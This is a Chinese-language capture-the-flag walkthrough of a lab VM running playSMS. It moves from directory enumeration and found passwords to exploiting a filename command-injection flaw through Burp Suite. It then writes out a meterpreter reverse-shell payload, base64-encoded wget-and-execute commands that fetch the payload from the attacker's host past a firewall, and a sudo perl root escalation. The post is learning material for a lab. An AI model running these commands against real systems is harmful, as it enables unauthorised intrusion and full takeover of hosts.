摘要:声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。
靶场机器IP地址:192.168.31.191
扫描:
开放80端口的http服务,所以可以nikto或者dirb一下,同时可以使用浏览器打开看看
dirb到了robots.txt,打开看看:
对其中的文件依次访问看看是否有可以利用的信息:
访问其中的/nothing :
发现返回的是404
不过这和真的404一样么
访问一个根本不存在的文件:
发现两个404有所不同,那我们看一看/nothing的源代码:
的确发现了一些敏感信息,应该是密码什么的
继续回到dirb出来的文件中,看到了一个secure目录:
打开看一看:
发现一个backup.zip(backup的备份的意思)文件:
点击进行下载,并保存到攻击机,解压
发现需要密码:
想起了之前在网站源码中看到的密码,试一试其中的freedom,成功:
这时候要注意,在ctf中碰到后缀为.mp3的文件,但是它不一定就是MP3文件,我们需要看一看它到底是不是:
使用file命令查看具体文件类型:
file backup-cred.mp3
这个文件是一个文本文件,可以直接使用cat命令来查看:
cat backup-cred.mp3
url后面应该是一个网址,看一看:
返回了一个登陆的界面:
在刚才cat的时候已经获得了用户名touhid
密码呢,还是尝试之前网站源码中的密码,毕竟还有几个密码没用过呢
发现密码是diana,登陆成功
当你登陆进去一个系统后,应该想一想这是不是一个已知的系统,并且查一查这种系统有什么漏洞
这个系统是playSMS
使用searchsploit进行漏洞查找:
searchsploit playSMS
的确是有很多漏洞的:
查看存放文件名为42003.txt的那个漏洞
cat /usr/share/exploitdb/exploits/php/webapps/42003.txt
注意,这儿大家路径可能不太一样
然后根据漏洞提示去做:
同时cat里面也告诉你漏洞上传的位置:
打开上述地址:
这个页面上面写着要上传一个csv文件
那就先在攻击机上新建一个csv文件:
touch 1.csv
发现的确是可以上传成功的
这时候我们要想着去修改上传的文件名,使用burpsuite
使用burpsuite需要先在浏览器中设置代理:
浏览器的Preferences中:
然后开启burpsuite
开启后重新上传1.csv
在代理中我们可以拦截到这个正在发送的包
在action中选择send to repeater
然后再repeater中把1.csv修改为如下命令,然后点send发送
然后我们就可以收到服务器给我们的返回报文:
把右边这个报文拖到最底下,可以看到我们修改的命令的返回信息:
看到命令修改成功!
如果想要修改成其他命令,那需要重新去抓包,也就是重复上述动作
比如,我们想查看id就把'uname -a'改为'id'然后重新发包即可
我们还可以使用其他方法查看漏洞:
比如使用exploit-db
访问:
https://www.exploit-db.com/exploits/42003/
网站返回给我们的结果与searchsploit返回的结果是一样的
下面利用shell获得权限:
启用metasploit监听:
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set playload linux/x86/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.31.113
msf5 exploit(multi/handler) > exploit
开始监听了
生成shell文件:s:
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.31.113 lport=4444 -f elf > /var/www/html/s
查看对应目录下是否生成文件s:
看来的确是生成成功了
下面就是想办法让远程的靶场机器自动下载这个s文件,然后在靶场机器上修改这个文件的权限并执行,从而获得反弹shell:
先在攻击机处启动apache:
service apache2 start
查看apache是否启动成功:
service apache2 status
看来是启动成功了:
靶场机器是开着防火墙的,所以我们要绕过防火墙
利用base64绕过防火墙检测:
其实就是对我们想要在之前1.csv处覆盖的命令进行base64编码已绕过检测:
先是对三个命令进行base64编码:
echo 'wget http://192.168.31.113/s -O /tmp/a' | base64 echo 'chmod 777 /tmp/a' | base64 echo '/tmp/a' | base64
得到三个编码后的命令:
然后就是和之前一样使用burpsuite进行抓包放包:
一共进行三次操作,每次都是重新上传1.csv时进行抓包,并修改报文,然后再放包
然后再监听段就可以收到反弹回来的shell了
但是并不是root权限,只是www.data用户
使用sudo -l查看有哪些sudo的命令
发现www.data可以不使用密码就有使用/usr/bin/perl的权限
sudo perl -e "exec '/bin/sh' "
bash -i
然后就反弹回了root权限!
本题结。